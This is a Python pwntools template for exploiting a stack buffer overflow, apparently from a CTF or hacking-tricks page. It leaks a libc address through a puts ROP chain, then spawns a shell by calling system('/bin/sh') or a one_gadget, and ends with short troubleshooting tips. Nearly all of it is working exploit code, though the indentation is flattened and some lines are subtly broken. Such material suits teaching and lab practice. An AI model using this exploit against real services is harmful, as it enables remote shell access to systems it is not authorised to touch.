Leaking libc - template

```python:template.py
from pwn import ELF, process, ROP, remote, ssh, gdb, cyclic, cyclic_find, log, p64, u64 # Import pwntools

CONNECTION

LOCAL = False
REMOTETTCP = True
REMOTESSH = False
GDB = False
USE_ONE_GADGET = False

LOCAL_BIN = "./vuln"
REMOTE_BIN = "~/vuln" #For ssh
LIBC = "" #ELF("/lib/x86_64-linux-gnu/libc.so.6") #Set library path when know it
ENV = {"LD_PRELOAD": LIBC} if LIBC else {}

if LOCAL:
P = process(LOCAL_BIN, env=ENV) # start the vuln binary
ELF_LOADED = ELF(LOCAL_BIN)# Extract data from binary
ROP_LOADED = ROP(ELF_LOADED)# Find ROP gadgets

elif REMOTETTCP:
P = remote('10.10.10.10',1339) # start the vuln binary
ELF_LOADED = ELF(LOCAL_BIN)# Extract data from binary
ROP_LOADED = ROP(ELF_LOADED)# Find ROP gadgets

elif REMOTESSH:
ssh_shell = ssh('bandit0', 'bandit.labs.overthewire.org', password='bandit0', port=2220)
p = ssh_shell.process(REMOTE_BIN) # start the vuln binary
elf = ELF(LOCAL_BIN)# Extract data from binary
rop = ROP(elf)# Find ROP gadgets

if GDB and not REMOTETTCP and not REMOTESSH:
# attach gdb and continue
# You can set breakpoints, for example "break main"
gdb.attach(P.pid, "b main")

OFFSET FINDER

OFFSET = b"" #b"A"*264
if OFFSET == b"":
gdb.attach(P.pid, "c") #Attach and continue
payload = cyclic(264)
payload += b"AAAAAAAA"
print(P.clean())
P.sendline(payload)
#x/wx $rsp -- Search for bytes that crashed the application
#print(cyclic_find(0x63616171)) # Find the offset of those bytes
P.interactive()
exit()

Find Gadgets

try:
libc_func = "puts"
PUTS_PLT = ELF_LOADED.plt['puts'] #PUTS_PLT = ELF_LOADED.symbols["puts"] # This is also valid to call puts
except:
libc_func = "printf"
PUTS_PLT = ELF_LOADED.plt['printf']

MAIN_PLT = ELF_LOADED.symbols['main']
POP_RDI = (ROP_LOADED.find_gadget(['pop rdi', 'ret']))[0] #Same as ROPgadget --binary vuln | grep "pop rdi"
RET = (ROP_LOADED.find_gadget(['ret']))[0]

log.info("Main start: " + hex(MAIN_PLT))
log.info("Puts plt: " + hex(PUTS_PLT))
log.info("pop rdi; ret gadget: " + hex(POP_RDI))
log.info("ret gadget: " + hex(RET))

Find LIBC offset

def generate_payload_aligned(rop):
payload1 = OFFSET + rop
if (len(payload1) % 16) == 0:
return payload1

else:
    payload2 = OFFSET + p64(RET) + rop
    if (len(payload2) % 16) == 0:
        log.info("Payload aligned successfully")
        return payload2
    else:
        log.warning(f"I couldn't align the payload! Len: {len(payload1)}")
        return payload1

def get_addr(libc_func):
FUNC_GOT = ELF_LOADED.got[libc_func]
log.info(libc_func + " GOT @ " + hex(FUNC_GOT))
# Create rop chain
rop1 = p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT)
rop1 = generate_payload_aligned(rop1)

# Send our rop-chain payload
#P.sendlineafter("dah?", rop1) #Use this to send the payload when something is received
print(P.clean()) # clean socket buffer (read all and print)
P.sendline(rop1)

# If binary is echoing back the payload, remove that message
recieved = P.recvline().strip()
if OFFSET[:30] in recieved:
    recieved = P.recvline().strip()

# Parse leaked address
log.info(f"Len rop1: {len(rop1)}")
leak = u64(recieved.ljust(8, b"\x00"))
log.info(f"Leaked LIBC address,  {libc_func}: {hex(leak)}")

# Set lib base address
if LIBC:
    LIBC.address = leak - LIBC.symbols[libc_func] #Save LIBC base
    print("If LIBC base doesn't end end 00, you might be using an icorrect libc library")
    log.info("LIBC base @ %s" % hex(LIBC.address))

# If not LIBC yet, stop here
else:
    print("TO CONTINUE) Find the LIBC library and continue with the exploit... (https://LIBC.blukat.me/)")
    P.interactive()

return hex(leak)

get_addr(libc_func) #Search for puts address in memmory to obtain LIBC base

FINAL EXPLOITATION

Via One_gadget (https://github.com/david942j/one_gadget)

gem install one_gadget

def get_one_gadgets(libc):
import string, subprocess
args = ["one_gadget", "-r"]
if len(libc) == 40 and all(x in string.hexdigits for x in libc.hex()):
args += ["-b", libc.hex()]
else:
args += [libc]
try:
one_gadgets = [int(offset) for offset in subprocess.check_output(args).decode('ascii').strip().split()]
except:
print("One_gadget isn't installed")
one_gadgets = []
return

rop2 = b""
if USE_ONE_GADGET:
one_gadgets = get_one_gadgets(LIBC)
if one_gadgets:
rop2 = p64(one_gadgets[0]) + "\x00"*100 #Usually this will fullfit the constrains

Normal/Long exploitation

if not rop2:
BINSH = next(LIBC.search(b"/bin/sh")) #Verify with find /bin/sh
SYSTEM = LIBC.sym["system"]
EXIT = LIBC.sym["exit"]

log.info("POP_RDI %s " % hex(POP_RDI))
log.info("bin/sh %s " % hex(BINSH))
log.info("system %s " % hex(SYSTEM))
log.info("exit %s " % hex(EXIT))

rop2 = p64(POP_RDI) + p64(BINSH) + p64(SYSTEM) #p64(EXIT)
rop2 = generate_payload_aligned(rop2)

print(P.clean())
P.sendline(rop2)

P.interactive() #Interact with your shell :)

## Common problems

### MAIN_PLT = elf.symbols\['main'] not found

If the "main" symbol does not exist (probably because it's a stripped binary). Then you can just find where is the main code:

```python
objdump -d vuln_binary | grep "\.text"
Disassembly of section .text:
0000000000401080 <.text>:

and set the address manually:

MAIN_PLT = 0x401080

Puts not found

If the binary is not using Puts you should check if it is using

`sh: 1: %s%s%s%s%s%s%s%s: not found`

If you find this error after creating all the exploit: sh: 1: %s%s%s%s%s%s%s%s: not found

Try to subtract 64 bytes to the address of "/bin/sh":

BINSH = next(libc.search("/bin/sh")) - 64